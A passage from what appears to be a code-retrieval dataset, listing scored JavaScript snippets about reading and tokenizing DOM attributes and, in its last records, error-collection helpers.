indexN1006B++) {\n attribute = attributes.item(indexN1006B);\n attributeName = attribute.nodeName;\n\n actual[actual.length] = attributeName;\n\n }\n\n if(\n\n (builder.contentType == \"text/html\")\n\n ) {\n assertEqualsCollection(\"htmlAttributeNames\",toLowerArray(htmlExpected),toLowerArray(actual));\n\n }\n\n else {\n assertEqualsCollection(\"attributeNames\",toLowerArray(expected),toLowerArray(actual));\n\n }\n\n}", "title": "" }, { "docid": "a8eebbaf601b625e81106ee1f05a24c6", "score": "0.5787297", "text": "attribute(name, value) {\n throw new Error(\"attribute() applies to element nodes only.\");\n }", "title": "" }, { "docid": "deecb74d4f67598ffe3a7e0a1aaf7a9b", "score": "0.57771754", "text": "getAttribute(key, value = undefined) {\n return this.$attributes[key] || value;\n }", "title": "" }, { "docid": "c3b7dcc78a12c7695b015d3c6a427e12", "score": "0.57731813", "text": "jsx_parseAttribute() {\n let node = this.startNode();\n if (this.eat(tt.braceL)) {\n this.expect(tt.ellipsis);\n node.argument = this.parseMaybeAssign();\n this.expect(tt.braceR);\n return this.finishNode(node, 'JSXSpreadAttribute');\n }\n node.name = this.jsx_parseNamespacedName();\n node.value = this.eat(tt.eq) ? this.jsx_parseAttributeValue() : null;\n return this.finishNode(node, 'JSXAttribute');\n }", "title": "" }, { "docid": "c3b7dcc78a12c7695b015d3c6a427e12", "score": "0.57731813", "text": "jsx_parseAttribute() {\n let node = this.startNode();\n if (this.eat(tt.braceL)) {\n this.expect(tt.ellipsis);\n node.argument = this.parseMaybeAssign();\n this.expect(tt.braceR);\n return this.finishNode(node, 'JSXSpreadAttribute');\n }\n node.name = this.jsx_parseNamespacedName();\n node.value = this.eat(tt.eq) ? this.jsx_parseAttributeValue() : null;\n return this.finishNode(node, 'JSXAttribute');\n }", "title": "" }, { "docid": "641866089a45ab1a49d6d2e840960ed1", "score": "0.5769453", "text": "function gr(e,t,n){if(pr(t)){if(!e.hasAttribute(t))return void 0===n?void 0:null;var r=e.getAttribute(t);return r===\"\"+n?n:r}}", "title": "" }, { "docid": "e8c834aa108fca17ce65efd5f6ffc324", "score": "0.57683957", "text": "getAttribute(attrname){\n\t\tconst attrvalue = new SEXPWrap(this._getAttribute_raw(attrname));\n\t\treturn attrvalue.getValue();\n\t}", "title": "" }, { "docid": "d132081d5b552cc6488b81347f587337", "score": "0.5762632", "text": "static get observedAttributes() { return [\"name\"]; }", "title": "" }, { "docid": "c633698a96e8049a81b719f71d152a1e", "score": "0.57563806", "text": "static get observedAttributes() {return ['name']; }", "title": "" }, { "docid": "dbc906ec8c205d7fac3483fc4f802302", "score": "0.5755149", "text": "function getValueForAttribute(node,name,expected){\n{\nif(!isAttributeNameSafe(name)){\nreturn;\n}\n\nif(!node.hasAttribute(name)){\nreturn expected===undefined?undefined:null;\n}\n\nvar value=node.getAttribute(name);\n\nif(value===''+expected){\nreturn expected;\n}\n\nreturn value;\n}\n}", "title": "" }, { "docid": "4b548504eca116242af788a132f2c365", "score": "0.57546806", "text": "function hc_elementretrieveattrvalue() {\n var success;\n var doc;\n var elementList;\n var testAddress;\n var attrValue;\n doc = load(\"hc_staff\");\n elementList = doc.getElementsByTagName(\"acronym\");\n testAddress = elementList.item(2);\n attrValue = testAddress.getAttribute(\"class\");\n assertEquals(\"attrValue\",\"No\",attrValue);\n \n}", "title": "" }, { "docid": "f7bbe2475957eedc32b6040c84711ef6", "score": "0.5736599", "text": "attr(attrName, value) {\n if (value === undefined) {\n return this.HTMLElements[0].getAttribute(attrName);\n } else {\n this.HTMLElements.forEach(he => {\n he.setAttribute(attrName, value);\n });\n }\n }", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.57018673", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.57018673", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.57018673", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.57018673", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.57018673", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.57018673", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.57018673", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.57018673", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.57018673", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.57018673", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.57018673", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.57018673", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.57018673", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "322f21af2f1aefdc309b00a1d09dd84f", "score": "0.57018673", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "8be9da12398efcc0873adb80ec1bc9c9", "score": "0.5699242", "text": "function getValueForAttribute(node,name,expected){{if(!isAttributeNameSafe(name)){return;}// If the object is an opaque reference ID, it's expected that\n // the next prop is different than the server value, so just return\n // expected\n if(isOpaqueHydratingObject(expected)){return expected;}if(!node.hasAttribute(name)){return expected===undefined?undefined:null;}var value=node.getAttribute(name);if(value===''+expected){return expected;}return value;}}", "title": "" }, { "docid": "c182daa68903c8174e87512782c62413", "score": "0.5695268", "text": "readAttribute(attributeName) {\n return this.attributes[attributeName];\n }", "title": "" }, { "docid": "8fe771faa7828c14f18578fb72319fbc", "score": "0.5694419", "text": "function type(value) { return new Attr(\"type\", value, false, \"button\", \"input\", \"command\", \"embed\", \"link\", \"object\", \"script\", \"source\", \"style\", \"menu\"); }", "title": "" }, { "docid": "397a1380fd31d74f5251526a42bc5044", "score": "0.56936675", "text": "getAttributeNamesForHuman(type) {\n return {};\n }", "title": "" }, { "docid": "713220c976f2c53be534325b10cef55f", "score": "0.5680933", "text": "static _attributeNameForProperty(a,b){const c=b.attribute;return !1===c?void 0:\"string\"==typeof c?c:\"string\"==typeof a?a.toLowerCase():void 0}", "title": "" }, { "docid": "686c5b6172703aed1c3eafd5c3724851", "score": "0.5673065", "text": "static get observedAttributes () {\n return ['value', 'min', 'max', 'type']\n }", "title": "" }, { "docid": "ab34c07f4dccc05ea570da5e85cb362c", "score": "0.56197757", "text": "function type(value) { return new Attr(\"type\", value, \"button\", \"input\", \"command\", \"embed\", \"object\", \"script\", \"source\", \"style\", \"menu\"); }", "title": "" }, { "docid": "a8cc3c1c03a57e7fc40d68b9c263da01", "score": "0.5611912", "text": "GetCustomAttributes() {\n\n }", "title": "" }, { "docid": "b65d5e0752bce4b1aee9052180221cb0", "score": "0.56093", "text": "function getAttribute(attributesContainingNode, attributeName){\n var attributes = attributesContainingNode.attributes;\n for (var i = attributes.length-1; i >=0 ; i--){\n if (attributes[i].nodeName === attributeName){\n var statusLocation = attributes[i].value;\n return statusLocation;\n }\n }\n return \"\"\n}", "title": "" }, { "docid": "53c3910ccbcae6702542da6f75c26271", "score": "0.560368", "text": "getAttributeNamesForHuman(type) {\n return {};\n }", "title": "" }, { "docid": "e0299a0ba1b2117decad36130c596980", "score": "0.5598284", "text": "static get observedAttributes() {\n return['text', 'class']; // will watch for changes in text and class\n }", "title": "" }, { "docid": "902cdd0d6049c14972d109267950467b", "score": "0.5595331", "text": "function Attribute(args, arg2) {\n\n // this.ID = function() {};\n\n var splitTypes; // For String(30) type\n if (false === (this instanceof Attribute)) throw new Error('new operator required');\n if (typeof args == 'string') {\n var quickName = args;\n args = {};\n args.name = quickName;\n if (typeof arg2 == 'string') {\n args.type = arg2;\n }\n }\n args = args || {};\n this.name = args.name || null;\n this.label = args.label || args.name;\n this.type = args.type || 'String';\n splitTypes = function (str) { // for String(30) remove right of (\n var tmpSplit = str.split('(');\n tmpSplit[1] = parseInt(tmpSplit[1]);\n return tmpSplit;\n }(this.type);\n\n this.type = splitTypes[0];\n var unusedProperties = [];\n switch (this.type) {\n case 'ID':\n unusedProperties = T.getInvalidProperties(args, ['name', 'type', 'label', 'value']);\n this.value = args.value || null;\n break;\n case 'String':\n unusedProperties = T.getInvalidProperties(args, ['name', 'type', 'label', 'value', 'size']);\n this.size = splitTypes[1] ? splitTypes[1] : typeof args.size == 'number' ? args.size : args.size || 50;\n this.value = args.value || null;\n break;\n case 'Date':\n unusedProperties = T.getInvalidProperties(args, ['name', 'type', 'label', 'value']);\n this.value = args.value || null;\n break;\n case 'Boolean':\n unusedProperties = T.getInvalidProperties(args, ['name', 'type', 'label', 'value']);\n this.value = args.value || null;\n break;\n case 'Number':\n unusedProperties = T.getInvalidProperties(args, ['name', 'type', 'label', 'value']);\n this.value = args.value || null;\n break;\n case 'Model':\n unusedProperties = T.getInvalidProperties(args, ['name', 'type', 'label', 'value']);\n this.value = args.value || null;\n if (this.value instanceof Attribute.ModelID)\n this.modelType = this.value.modelType;\n break;\n case 'Group':\n unusedProperties = T.getInvalidProperties(args, ['name', 'type', 'label', 'value']);\n this.value = args.value || null;\n break;\n case 'Table':\n unusedProperties = T.getInvalidProperties(args, ['name', 'type', 'label', 'value', 'group']);\n this.value = args.value || null;\n this.group = args.group || null;\n break;\n case 'Object':\n unusedProperties = T.getInvalidProperties(args, ['name', 'type', 'label', 'value']);\n this.value = args.value || null;\n break;\n\n default:\n break;\n }\n var badJooJoo = this.getValidationErrors(); // before leaving make sure valid Attribute\n for (var i = 0; i < unusedProperties.length; i++) badJooJoo.push('invalid property: ' + unusedProperties[i]);\n if (badJooJoo.length > 1) throw new Error('error creating Attribute: multiple errors');\n if (badJooJoo.length) throw new Error('error creating Attribute: ' + badJooJoo[0]);\n}", "title": "" }, { "docid": "02b51a7b159a723f71e0f381f7d5e2f3", "score": "0.5583386", "text": "function tokenAttribute(stream, state) {\n\t var ch = stream.next();\n\n\t if(ch == \"/\" && stream.eat(\">\")) {\n\t if(isInXmlAttributeBlock(state)) popStateStack(state);\n\t if(isInXmlBlock(state)) popStateStack(state);\n\t return \"tag\";\n\t }\n\t if(ch == \">\") {\n\t if(isInXmlAttributeBlock(state)) popStateStack(state);\n\t return \"tag\";\n\t }\n\t if(ch == \"=\")\n\t return null;\n\t // quoted string\n\t if (ch == '\"' || ch == \"'\")\n\t return chain(stream, state, tokenString(ch, tokenAttribute));\n\n\t if(!isInXmlAttributeBlock(state))\n\t pushStateStack(state, { type: \"attribute\", tokenize: tokenAttribute});\n\n\t stream.eat(/[a-zA-Z_:]/);\n\t stream.eatWhile(/[-a-zA-Z0-9_:.]/);\n\t stream.eatSpace();\n\n\t // the case where the attribute has not value and the tag was closed\n\t if(stream.match(\">\", false) || stream.match(\"/\", false)) {\n\t popStateStack(state);\n\t state.tokenize = tokenBase;\n\t }\n\n\t return \"attribute\";\n\t }", "title": "" }, { "docid": "710fd8152961cb6af9a39f8a4d9f9796", "score": "0.5576131", "text": "static get observedAttributes() {\n return [\"value\"];\n }", "title": "" }, { "docid": "7553eba2e7e5aa0dd4958e1eab375009", "score": "0.5570322", "text": "function attr($elem, prop) {\n\tif (typeof $elem.getAttribute !== \"undefined\" && typeof $elem[ prop ] !== \"boolean\") {\n\t\treturn $elem.getAttribute( prop );\n\t} else {\n\t\treturn $elem[ prop ];\n\t}\n}", "title": "" }, { "docid": "99f30ce3d17abeb0b6edf891d87265cb", "score": "0.5568046", "text": "static get observedAttributes() {\n return ['val'];\n }", "title": "" }, { "docid": "1a90a038888949e1ac6b9348dcbb2dbf", "score": "0.55617696", "text": "function hc_nodeattributenodetype() {\n var success;\n var doc;\n var elementList;\n var testAddr;\n var addrAttr;\n var nodeType;\n doc = load(\"hc_staff\");\n elementList = doc.getElementsByTagName(\"acronym\");\n testAddr = elementList.item(0);\n addrAttr = testAddr.getAttributeNode(\"title\");\n nodeType = addrAttr.nodeType;\n\n assertEquals(\"nodeAttrNodeTypeAssert1\",2,nodeType);\n \n}", "title": "" }, { "docid": "cb4bd3d19316bba8b2568f17ab8da1e2", "score": "0.5549958", "text": "function getAttributeValue(elem, name) {\n var _a;\n return (_a = elem.attribs) === null || _a === void 0 ? void 0 : _a[name];\n }", "title": "" }, { "docid": "797be2f86890e857ad388885d4f19bdf", "score": "0.55439925", "text": "function getAttributePath(entity, namePath) {\r\n\t\t\tvar names = namePath.split(\".\");\r\n\t\t\tvar attr = 1, path;\r\n\t\t\twhile(attr !== undefined && names.length) {\r\n\t\t\t\tpath = String.format(\"%s.attributes.%s\", entity, names.shift());\r\n\t\t\t\tif((attr = scaffold.get(path)) !== undefined) {\r\n\t\t\t\t\tif([\"ref\", \"set\", \"has\"].indexOf(attr.type.split(\":\").shift()) !== -1) {\r\n\t\t\t\t\t\tentity = attr.type.split(\":\").pop();\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\treturn path;\r\n\t\t}", "title": "" }, { "docid": "a0f5b6bfe7dec4ea4a49e0a5c27caea0", "score": "0.5534845", "text": "static get observedAttributes() {\n return ['text'];\n }", "title": "" }, { "docid": "a0f5b6bfe7dec4ea4a49e0a5c27caea0", "score": "0.5534845", "text": "static get observedAttributes() {\n return ['text'];\n }", "title": "" }, { "docid": "c3194804c029b619856d4d9995ca04a3", "score": "0.55317956", "text": "function mr(e,t,n){var r=a(t);if(r){if(r.mutationMethod||r.mustUseProperty)return e[r.propertyName];var o=r.attributeName,i=null;if(r.hasOverloadedBooleanValue){if(e.hasAttribute(o)){var l=e.getAttribute(o);return\"\"===l||(hr(r,n)?l:l===\"\"+n?n:l)}}else if(e.hasAttribute(o)){if(hr(r,n))// We had an attribute but shouldn't have had one, so read it\n// for the error message.\nreturn e.getAttribute(o);if(r.hasBooleanValue)// If this was a boolean, it doesn't matter what the value is\n// the fact that we have it is the same as the expected.\nreturn n;// Even if this property uses a namespace we use getAttribute\n// because we assume its namespaced name is the same as our config.\n// To use getAttributeNS we need the local name which we don't have\n// in our config atm.\ni=e.getAttribute(o)}return hr(r,n)?null===i?n:i:i===\"\"+n?n:i}}", "title": "" }, { "docid": "96a044da72ed5e5b71529bad0b767f52", "score": "0.5531119", "text": "function tokenAttribute(stream, state) {\n var ch = stream.next();\n\n if(ch == \"/\" && stream.eat(\">\")) {\n if(isInXmlAttributeBlock(state)) popStateStack(state);\n if(isInXmlBlock(state)) popStateStack(state);\n return \"tag\";\n }\n if(ch == \">\") {\n if(isInXmlAttributeBlock(state)) popStateStack(state);\n return \"tag\";\n }\n if(ch == \"=\")\n return null;\n // quoted string\n if (ch == '\"' || ch == \"'\")\n return chain(stream, state, tokenString(ch, tokenAttribute));\n\n if(!isInXmlAttributeBlock(state))\n pushStateStack(state, { type: \"attribute\", tokenize: tokenAttribute});\n\n stream.eat(/[a-zA-Z_:]/);\n stream.eatWhile(/[-a-zA-Z0-9_:.]/);\n stream.eatSpace();\n\n // the case where the attribute has not value and the tag was closed\n if(stream.match(\">\", false) || stream.match(\"/\", false)) {\n popStateStack(state);\n state.tokenize = tokenBase;\n }\n\n return \"attribute\";\n }", "title": "" }, { "docid": "902eabb25a278d0b029185793ee71edc", "score": "0.553103", "text": "static _attributeNameForProperty(name,options){const attribute=options.attribute;return!1===attribute?void 0:\"string\"===typeof attribute?attribute:\"string\"===typeof name?name.toLowerCase():void 0}", "title": "" }, { "docid": "d89a8ad46584880d18abf1761f910c2e", "score": "0.55302215", "text": "function getAttributesofElement(element){\n\tvar attris = {};\n\tvar tag = element.tagName.toLowerCase();\n\t//type\n\tattris['type'] = tag;\n\t//value\n\tvar EleValueList = ['text', 'span'];\n\tif(EleValueList.indexOf(attris['type']) >= 0){\n\t\tattris['value'] = element.textContent;\n\t}\n\t//visual property\n\t// //console.log('ele 1', element);\n\tvar visualattri = getAttrisofElement(element);\n\tfor (var key in visualattri){\n\t\tattris[key] = visualattri[key];\n\t}\n\t// attris['visual'] = visualattri;\n\t// //console.log(' attris ', attris);\n\treturn attris;\n}", "title": "" }, { "docid": "06189f4e54889aa5a5c86d3d838a9ee4", "score": "0.5517231", "text": "async getAttribute(attribute: string): Promise<string> {\n return await this.requestJSON('GET', '/attribute/' + attribute);\n }", "title": "" }, { "docid": "5e8dd6e7d44e1f851a69b40af2ed2152", "score": "0.5514938", "text": "get type() { return this.data.type }", "title": "" }, { "docid": "b41a3c21a0362c07c3ea6cfce6282c06", "score": "0.5513104", "text": "function attribute(name, code)\n{\n\tif (this.inCData > 0)\n\t\treturn true;\n\n\tif (debugTMC)\n\t\talert(\"attribute\\n\" + code);\n\tif (this.withinCFOutput && name.toLowerCase() == \"query\")\n\t{\n\t\tif (!this.transMgr.CFOutput.IsEmpty())\n\t\t{\n\t\t\tvar queryName = this.transMgr.CFOutput.Pop();\n\t\t\tqueryName = code;\n\t\t\tthis.transMgr.CFOutput.Push(queryName);\n\t\t}\n\t}\n\tif (!this.inTagSpan)\n\t{\n\t\tvar part = null;\n\t\tif (this.transMgr.lookInThisAttribute(code))\n\t\t{\n\t\t\tpart = this.transMgr.getParticipant(PTYPE_ATTRIBUTE, code, name);\n\t\t\tvar trans = this.transMgr.getData(part, code, name);\n\t\t\tthis.transMgr.translateAttribute(code, name, trans);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tthis.transMgr.translateAttribute(code, name, null);\n\t\t}\n\t}\n\n\treturn true;\n}", "title": "" }, { "docid": "b9df01a08ff7146aad96b5a956c642c3", "score": "0.5510924", "text": "function getAttr(node, name, defvalue)\n{\n if (!node.attributes) return defvalue;\n var v=node.attributes.getNamedItem(name);\n return (v&&v.nodeValue.length)?v.nodeValue:defvalue;\n}", "title": "" }, { "docid": "394f00e10dcc1ecf27c0a8fdf9495384", "score": "0.5509101", "text": "getSize(attrName) {\n return this.getAttribute(attrName).size\n }", "title": "" }, { "docid": "88cf4c910f9471641e0d8a996ae10a88", "score": "0.5507781", "text": "get(key) {\n if(isArray(key)) {\n return this.getAttributes().filter((value, i) => {\n return key.indexOf(i) !== -1;\n });\n }\n else {\n return this.getAttribute(key);\n }\n }", "title": "" }, { "docid": "82433e46b1359d3a9e06c8778bb80a08", "score": "0.54980284", "text": "static get observedAttributes() {\n return [\"foreign\", \"label\", \"sql\"];\n }", "title": "" }, { "docid": "ea5f68ec8634d5b5920abfbde657b694", "score": "0.54808885", "text": "function attr(docOrElem,selector,attr,index){var elem=index?docOrElem.querySelectorAll(selector).item(index):docOrElem.querySelector(selector);return elem?elem.getAttribute(attr):null;}", "title": "" }, { "docid": "dbfd363f878260f68d3c625a6070e753", "score": "0.54789406", "text": "function getPropValue(attribute){return extractValue(attribute,_values2.default);}", "title": "" }, { "docid": "03f8661b2354bed27f6ef22452257bd8", "score": "0.5478477", "text": "function tokenAttribute(stream, state) {\n var ch = stream.next();\n\n if(ch == \"/\" && stream.eat(\">\")) {\n if(isInXmlAttributeBlock(state)) popStateStack(state);\n if(isInXmlBlock(state)) popStateStack(state);\n return ret(\"tag\", \"tag\");\n }\n if(ch == \">\") {\n if(isInXmlAttributeBlock(state)) popStateStack(state);\n return ret(\"tag\", \"tag\");\n }\n if(ch == \"=\")\n return ret(\"\", null);\n // quoted string\n if (ch == '\"' || ch == \"'\")\n return chain(stream, state, tokenString(ch, tokenAttribute));\n\n if(!isInXmlAttributeBlock(state))\n pushStateStack(state, { type: \"attribute\", tokenize: tokenAttribute});\n\n stream.eat(/[a-zA-Z_:]/);\n stream.eatWhile(/[-a-zA-Z0-9_:.]/);\n stream.eatSpace();\n\n // the case where the attribute has not value and the tag was closed\n if(stream.match(\">\", false) || stream.match(\"/\", false)) {\n popStateStack(state);\n state.tokenize = tokenBase;\n }\n\n return ret(\"attribute\", \"attribute\");\n }", "title": "" }, { "docid": "e3207165a0549fe28a27738e4c89c4a9", "score": "0.5474666", "text": "function getAttribute(expression, attributeName, root) {\n var result = [];\n var work = findElementsBody(expression, root);\n for (var i = 0; i < work.length; i++) {\n var elm = work[i].element;\n if (elm != undefined) {\n var attrValue = elm[\"attributes\"][attributeName];\n if (attrValue == undefined) {\n attrValue = elm[attributeName];\n }\n // JSON.stringify will return undefined if attrValue is undefined as well\n if (typeof attrValue !== \"string\") {\n attrValue = JSON.stringify(attrValue);\n }\n result.push(attrValue);\n }\n else {\n throw new BBSeekerError(\"Virtual components present in the result set. Please revise and fix your search expression to target a non-virtual component.\", ErrorType.SEARCH);\n }\n }\n return result;\n }", "title": "" }, { "docid": "4d52fa585496bee8d60d926349ac09c1", "score": "0.5466204", "text": "static get observedAttributes() {\n return [\"field\", \"label\", \"sql\"];\n }", "title": "" }, { "docid": "39bd5c458933b3c4ebffe988b60c1dfb", "score": "0.54646564", "text": "function _XMLNode_getAttributes()\n{\n\tvar attribs = new Array();\n\tif ( this.domNode.attributes != null )\n\t{\n\t\tfor( var i = 0; i < this.domNode.attributes.length; i++ ) \n\t\t{ \n\t \t\tvar attr = this.domNode.attributes.item( i ); \n\t \t\tattribs[ attr.name ] = attr.value;\n\t\t}\n\t}\n\treturn attribs;\t\n}", "title": "" }, { "docid": "a03f93dad5191f4b4a7509ec5e0f7e6a", "score": "0.545071", "text": "readAttributes() {\n this._previousValueState.state = this.getAttribute('value-state')\n ? this.getAttribute('value-state')\n : 'None';\n\n // save the original attribute for later usages, we do this, because some components reflect\n Object.keys(this._privilegedAttributes).forEach(attr => {\n this._privilegedAttributes[attr] = this.getAttribute(attr);\n });\n }", "title": "" } ]
cbc6642645db63159c4ee5c2a9b7a918
Automatically generated. Retrieves the `errors` constructor field of the ":cslresult" type.
[ { "docid": "c6d2160a53eb4f2b2cb778352f4a8b37", "score": "0.83349276", "text": "function errors(cslresult) /* (cslresult : cslresult) -> string */ {\n return cslresult.errors;\n}", "title": "" } ]
[ { "docid": "825faa13b1064bd7e425c192043bac2a", "score": "0.6744577", "text": "function getErrors(){\n\treturn _errors;\n}", "title": "" }, { "docid": "5583bfe4e6de557c69d46f7cf707500a", "score": "0.63030666", "text": "function _isError(result) { return result.instanceOf(\"mtproto.type.Rpc_error\"); }", "title": "" }, { "docid": "428e4582b66fa769661d02a9f5be13fb", "score": "0.6244882", "text": "static get errors() {\n return Errors\n }", "title": "" }, { "docid": "5ae9f222e5f18e7eee05f27c877e09ac", "score": "0.6176711", "text": "get errors() {\n return this.data[\"$model\"].rxvo.errors;\n }", "title": "" }, { "docid": "c58d2122aa492604617fb33b9a2878a9", "score": "0.60927165", "text": "function errors(err) {\n\t\tconst error = err || {}; // This allows us to call errors and just get a default error\n\t\treturn {\n\t\t\tError: error.Error,\n\t\t\tnodeCode: error.errno,\n\t\t\tCode: -1,\n\t\t};// return\n\t}// errors", "title": "" }, { "docid": "36f57c11b0810f7691bc53dd5f8b78f1", "score": "0.60841596", "text": "getErrorMessages (error) {\n return this.schema.getErrorMessages(error);\n }", "title": "" }, { "docid": "61506f440b9b82c1ebc144736362d308", "score": "0.60769325", "text": "function Errors() {\n _classCallCheck(this, Errors);\n\n this.errors = {};\n }", "title": "" }, { "docid": "61506f440b9b82c1ebc144736362d308", "score": "0.60769325", "text": "function Errors() {\n _classCallCheck(this, Errors);\n\n this.errors = {};\n }", "title": "" }, { "docid": "7f7ce6f57e06db444d4178cebedca820", "score": "0.6058554", "text": "function warnings(cslresult) /* (cslresult : cslresult) -> string */ {\n return cslresult.warnings;\n}", "title": "" }, { "docid": "94f6237777177d2623dd2a4b7a01fa04", "score": "0.60470945", "text": "function MQErrors(){\r\n /** @type String\r\n */\r\n this.RECORDSET_GETFIELD_1 = \"failure in getField -- m_curRec is not Pointing to an existing Record\";\r\n /** @type String\r\n */\r\n this.RECORDSET_GETFIELD_2 = \"failure in getField -- could not find strFieldName\";\r\n /** @type String\r\n */\r\n this.RECORDSET_MOVEFIRST_1 = \"failure in moveFirst -- Error Moving Cursor, RecordSet is Empty.\";\r\n /** @type String\r\n */\r\n this.RECORDSET_MOVELAST_1 = \"Error Moving Cursor, RecordSet is Empty.\";\r\n /** @type String\r\n */\r\n this.RECORDSET_MOVENEXT_1 = \"Error Moving Cursor, EOF was true.\";\r\n /** @type String\r\n */\r\n this.RECORDSET_MOVENEXT_2 = \"Error Moving Cursor, Unknown Error.\";\r\n /** @type String\r\n */\r\n this.RECORDSET_MOVENEXT_3 = \"Error Moving Cursor, RecordSet is Empty.\";\r\n}", "title": "" }, { "docid": "8120229d1d5f60b299aec481f15f51ef", "score": "0.5961881", "text": "get errors() {\n return form.errors[field] || []\n }", "title": "" }, { "docid": "ab93cb7027d6cdd39462f702a3ad3bbe", "score": "0.5932149", "text": "toError() {\n const defects = this.#defects;\n const { length } = defects;\n switch (length) {\n case 0:\n return undefined;\n case 1:\n return new Error(`Validation found one defect:${EOL}` + defects[0]);\n default:\n return new Error(\n `Validation found ${length} defects:${EOL}` + defects.join(EOL)\n );\n }\n }", "title": "" }, { "docid": "5684dc13f2a9e9cae81a375af04120ff", "score": "0.5903685", "text": "function Errors() {\n this.mismatch = function() {\n return Error('invalid matrix: must be same order') ;\n } ;\n\n this.composite = function() {\n return Error('invalid matrix: factor rows must equal coefficient columns') ;\n } ;\n\n this.notVector = function() {\n return Error('matrix order is not two or three dimension')\n } ;\n}", "title": "" }, { "docid": "86581e999d106a8fe623d940b5c15cef", "score": "0.58756953", "text": "errors(options) {\n var errors = [];\n var errored = false;\n for (var entity of this) {\n var result = entity.errors();\n errors.push(entity.errors());\n if (Object.keys(result).length) {\n errored = true;\n }\n }\n return errored ? errors : [];\n }", "title": "" }, { "docid": "cd0c64f8b7d7d95165a4642e56292cc8", "score": "0.5861287", "text": "function FormlyErrors() {\n _classCallCheck(this, FormlyErrors);\n\n this.errors = {};\n }", "title": "" }, { "docid": "5593cd546bfc3ad5630dec2169022d1e", "score": "0.5848711", "text": "get errors(){return this._errors;}", "title": "" }, { "docid": "3934fa4485312cce7ccbbe737d919b89", "score": "0.5839699", "text": "function _NewErrorResult( errors ) {\n var res = new _SessionManagerResult();\n\n res.hasErrors = true;\n res.errors = errors;\n\n return res;\n}", "title": "" }, { "docid": "4adae80f732e05b426ab939400eee3a9", "score": "0.5797735", "text": "function getValidationErrors(response) {\n return response.responseJSON.errors;\n }", "title": "" }, { "docid": "528b7e7e5f9c02c160e50133807fb731", "score": "0.5781573", "text": "function getValidatedResult() {\n\t return codeStudioLevels.getContainedLevelResult().result.result;\n\t}", "title": "" }, { "docid": "f385862af43cbefdbbf1b6efe8f96d56", "score": "0.5768977", "text": "get diagnostic() {\n return {\n severity: this._errorMessages[this._errType][1],\n message: this._errorMessages[this._errType][0],\n range: this._range,\n };\n }", "title": "" }, { "docid": "76ff783c16ee98acb1440458fa47ceda", "score": "0.5761365", "text": "errors(options) {\n var defaults = { embed: true };\n options = extend({}, defaults, options);\n\n if (options.embed === true) {\n options.embed = this.hierarchy();\n }\n\n var schema = this.schema();\n var embed = schema.treeify(options.embed);\n var errors = extend({}, this._errors);\n\n for (var field in embed) 